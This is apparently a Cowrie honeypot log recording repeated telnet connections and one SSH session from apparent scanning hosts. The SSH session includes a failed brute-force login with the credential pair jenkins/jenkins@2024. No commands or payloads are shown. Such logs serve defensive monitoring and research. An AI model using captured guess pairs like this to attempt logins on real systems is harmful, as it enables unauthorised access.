{"eventid":"cowrie.session.closed","duration":30.65448546409607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:34.008531Z","src_ip":"161.97.181.240","session":"42f71abe951f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":32962,"dst_ip":"10.17.0.5","dst_port":23,"session":"e23b4df729b6","protocol":"telnet","message":"New connection: 161.97.181.240:32962 (10.17.0.5:23) [session: e23b4df729b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:34.662208Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":33832,"dst_ip":"10.17.0.5","dst_port":23,"session":"1888d84d5d18","protocol":"telnet","message":"New connection: 161.97.181.240:33832 (10.17.0.5:23) [session: 1888d84d5d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:34.917962Z"}
{"eventid":"cowrie.session.closed","duration":37.84948992729187,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:35.078465Z","src_ip":"103.115.172.252","session":"b9416c688b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590022087097168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:35.217982Z","src_ip":"161.97.181.240","session":"9812d632a11b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":34984,"dst_ip":"10.17.0.5","dst_port":23,"session":"e384134c56c2","protocol":"telnet","message":"New connection: 161.97.181.240:34984 (10.17.0.5:23) [session: e384134c56c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:35.297396Z"}
{"eventid":"cowrie.session.closed","duration":31.418503284454346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:35.727945Z","src_ip":"161.97.181.240","session":"8c00000179f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.63762593269348,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:35.751155Z","src_ip":"45.63.42.31","session":"59874c4261d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53168,"dst_ip":"10.17.0.5","dst_port":23,"session":"774bdc8cbdcb","protocol":"telnet","message":"New connection: 45.63.42.31:53168 (10.17.0.5:23) [session: 774bdc8cbdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:35.894623Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":48116,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2652e8efff0","protocol":"telnet","message":"New connection: 45.14.224.154:48116 (159.203.135.109:23) [session: a2652e8efff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:36.152783Z"}
{"eventid":"cowrie.session.closed","duration":30.385735988616943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:36.172615Z","src_ip":"161.97.181.240","session":"a2679d03c93d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38080,"dst_ip":"10.17.0.5","dst_port":23,"session":"0904b881ff20","protocol":"telnet","message":"New connection: 161.97.181.240:38080 (10.17.0.5:23) [session: 0904b881ff20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:36.217699Z"}
{"eventid":"cowrie.session.closed","duration":36.937095403671265,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:37.132611Z","src_ip":"45.63.42.31","session":"ec2bb63a8898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009267330169678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:37.424500Z","src_ip":"161.97.181.240","session":"a81fc305e2f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02001643180847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:39.183954Z","src_ip":"161.97.181.240","session":"428e682e3c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829903841018677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:39.200544Z","src_ip":"161.97.181.240","session":"bf5da7d3a94d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5980122089386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:39.291559Z","src_ip":"161.97.181.240","session":"2036dd52759f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":48872,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba8e45a6cb5d","protocol":"telnet","message":"New connection: 161.97.181.240:48872 (10.17.0.5:23) [session: ba8e45a6cb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:39.538292Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52838,"dst_ip":"10.17.0.5","dst_port":23,"session":"d961bf9d65fc","protocol":"telnet","message":"New connection: 161.97.181.240:52838 (10.17.0.5:23) [session: d961bf9d65fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:40.715452Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35566,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdacb6d8c00c","protocol":"telnet","message":"New connection: 45.63.42.31:35566 (10.17.0.5:23) [session: cdacb6d8c00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:41.096437Z"}
{"eventid":"cowrie.session.closed","duration":31.124059915542603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:41.745107Z","src_ip":"161.97.181.240","session":"9060d43ab9c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190614938735962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:41.835549Z","src_ip":"161.97.181.240","session":"a6f4d9d6c062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56870,"dst_ip":"10.17.0.5","dst_port":23,"session":"655cc0f41398","protocol":"telnet","message":"New connection: 161.97.181.240:56870 (10.17.0.5:23) [session: 655cc0f41398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:41.906772Z"}
{"eventid":"cowrie.session.closed","duration":34.99534869194031,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:42.006027Z","src_ip":"45.63.42.31","session":"b9491016ff64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57632,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55bb0a13d48","protocol":"telnet","message":"New connection: 161.97.181.240:57632 (10.17.0.5:23) [session: f55bb0a13d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:42.123706Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41598,"dst_ip":"10.17.0.5","dst_port":23,"session":"11147019358d","protocol":"telnet","message":"New connection: 45.63.42.31:41598 (10.17.0.5:23) [session: 11147019358d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:42.137387Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":59566,"dst_ip":"10.17.0.5","dst_port":23,"session":"40454e271226","protocol":"telnet","message":"New connection: 161.97.181.240:59566 (10.17.0.5:23) [session: 40454e271226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:42.696603Z"}
{"eventid":"cowrie.session.closed","duration":31.596100568771362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:42.838448Z","src_ip":"161.97.181.240","session":"29b886141872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642422914505005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:42.997615Z","src_ip":"161.97.181.240","session":"e28bb27a5f30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.275357961654663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:43.996335Z","src_ip":"161.97.181.240","session":"232fb4393ff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":35844,"dst_ip":"10.17.0.5","dst_port":23,"session":"67f47a5d77d4","protocol":"telnet","message":"New connection: 161.97.181.240:35844 (10.17.0.5:23) [session: 67f47a5d77d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:44.030593Z"}
{"eventid":"cowrie.session.closed","duration":30.41036057472229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:44.100210Z","src_ip":"45.14.224.154","session":"592ad70d19e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":43750,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9296a502ad6","protocol":"telnet","message":"New connection: 45.14.224.154:43750 (159.203.135.109:23) [session: d9296a502ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:45.294602Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40750,"dst_ip":"10.17.0.5","dst_port":23,"session":"e82e861baee9","protocol":"telnet","message":"New connection: 161.97.181.240:40750 (10.17.0.5:23) [session: e82e861baee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:45.462436Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f61a3c34c98","protocol":"telnet","message":"New connection: 161.97.181.240:40924 (10.17.0.5:23) [session: 2f61a3c34c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:45.503437Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41516,"dst_ip":"10.17.0.5","dst_port":23,"session":"c37d01c34f3f","protocol":"telnet","message":"New connection: 161.97.181.240:41516 (10.17.0.5:23) [session: c37d01c34f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:45.668976Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45938,"dst_ip":"10.17.0.5","dst_port":23,"session":"377492e06f65","protocol":"telnet","message":"New connection: 161.97.181.240:45938 (10.17.0.5:23) [session: 377492e06f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:46.831467Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46632,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40ba431644f","protocol":"telnet","message":"New connection: 161.97.181.240:46632 (10.17.0.5:23) [session: f40ba431644f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:47.012835Z"}
{"eventid":"cowrie.session.closed","duration":30.617116689682007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:47.075741Z","src_ip":"45.14.224.154","session":"93eb482c6c8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e8817f59b2","protocol":"telnet","message":"New connection: 161.97.181.240:54856 (10.17.0.5:23) [session: 87e8817f59b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:49.329913Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57712,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c990e9533e0","protocol":"telnet","message":"New connection: 161.97.181.240:57712 (10.17.0.5:23) [session: 2c990e9533e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:50.206975Z"}
{"eventid":"cowrie.session.closed","duration":30.492039442062378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:51.012803Z","src_ip":"161.97.181.240","session":"dee69257ec3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.296829223632812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:51.847175Z","src_ip":"161.97.181.240","session":"5e06e228169c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":35884,"dst_ip":"159.203.135.109","dst_port":22,"session":"55c28640dca0","protocol":"ssh","message":"New connection: 114.141.59.195:35884 (159.203.135.109:22) [session: 55c28640dca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:52.153992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:52.203023Z","src_ip":"114.141.59.195","session":"55c28640dca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36048,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab0fc716e37a","protocol":"telnet","message":"New connection: 161.97.181.240:36048 (10.17.0.5:23) [session: ab0fc716e37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:52.244680Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60892,"dst_ip":"10.17.0.5","dst_port":23,"session":"291a916d7c27","protocol":"telnet","message":"New connection: 161.97.181.240:60892 (10.17.0.5:23) [session: 291a916d7c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:52.270621Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:52.451134Z","src_ip":"114.141.59.195","session":"55c28640dca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":39290,"dst_ip":"10.17.0.5","dst_port":23,"session":"11899c72923b","protocol":"telnet","message":"New connection: 161.97.181.240:39290 (10.17.0.5:23) [session: 11899c72923b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:53.121341Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":40086,"dst_ip":"159.203.135.109","dst_port":23,"session":"8862bb06b7f0","protocol":"telnet","message":"New connection: 45.14.224.154:40086 (159.203.135.109:23) [session: 8862bb06b7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:53.160513Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@2024","message":"login attempt [jenkins/jenkins@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:53.408664Z","src_ip":"114.141.59.195","session":"55c28640dca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.587425470352173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:53.995449Z","src_ip":"161.97.181.240","session":"a1f94a6fce18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95316171646118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:54.002027Z","src_ip":"161.97.181.240","session":"adbf49d6c392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28011202812195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:54.048240Z","src_ip":"161.97.181.240","session":"901a847ad2b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56054449081421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:54.117338Z","src_ip":"161.97.181.240","session":"c449c51766e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:54.660524Z","src_ip":"114.141.59.195","session":"55c28640dca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64739680290222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:55.004383Z","src_ip":"161.97.181.240","session":"3a231f311113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.242356777191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:55.027638Z","src_ip":"161.97.181.240","session":"4a69db4e6796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.422903299331665,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:56.360583Z","src_ip":"103.115.172.252","session":"4b71068e4ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69172167778015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:56.810452Z","src_ip":"161.97.181.240","session":"4575ba2f6cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190424919128418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:56.840079Z","src_ip":"161.97.181.240","session":"87f78f957c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53278,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca749e19f192","protocol":"telnet","message":"New connection: 161.97.181.240:53278 (10.17.0.5:23) [session: ca749e19f192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:57.184804Z"}
{"eventid":"cowrie.session.closed","duration":30.18370246887207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:58.002785Z","src_ip":"161.97.181.240","session":"423f2a06580b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02302122116089,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:58.290500Z","src_ip":"161.97.181.240","session":"bae272852c1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57528,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbd8ba482486","protocol":"telnet","message":"New connection: 161.97.181.240:57528 (10.17.0.5:23) [session: dbd8ba482486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:58.469816Z"}
{"eventid":"cowrie.session.closed","duration":31.264384508132935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:58.929604Z","src_ip":"161.97.181.240","session":"d7decc4f2602","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78620195388794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:59.116816Z","src_ip":"161.97.181.240","session":"3db8f43e3eeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76920247077942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:59.186435Z","src_ip":"161.97.181.240","session":"c6a0d3f83180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":46620,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d2283936f38","protocol":"telnet","message":"New connection: 173.198.194.106:46620 (10.17.0.5:23) [session: 6d2283936f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:59.208776Z"}
{"eventid":"cowrie.session.closed","duration":30.379935026168823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:00.002445Z","src_ip":"161.97.181.240","session":"2d62ffe6fed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":43864,"dst_ip":"10.17.0.5","dst_port":23,"session":"f16196357781","protocol":"telnet","message":"New connection: 103.115.172.252:43864 (10.17.0.5:23) [session: f16196357781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:00.062928Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f7a9269c36","protocol":"telnet","message":"New connection: 161.97.181.240:34628 (10.17.0.5:23) [session: 00f7a9269c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:00.109581Z"}
{"eventid":"cowrie.session.closed","duration":30.796508073806763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:00.223472Z","src_ip":"161.97.181.240","session":"d4c8d5f7b104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":35344,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d61e19522d","protocol":"telnet","message":"New connection: 161.97.181.240:35344 (10.17.0.5:23) [session: 59d61e19522d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:00.335449Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36550,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee9edbbc1bc9","protocol":"telnet","message":"New connection: 161.97.181.240:36550 (10.17.0.5:23) [session: ee9edbbc1bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:00.672283Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38492,"dst_ip":"10.17.0.5","dst_port":23,"session":"f77eee7c29ea","protocol":"telnet","message":"New connection: 161.97.181.240:38492 (10.17.0.5:23) [session: f77eee7c29ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:01.193461Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38824,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf280ec817e1","protocol":"telnet","message":"New connection: 161.97.181.240:38824 (10.17.0.5:23) [session: cf280ec817e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:01.311427Z"}
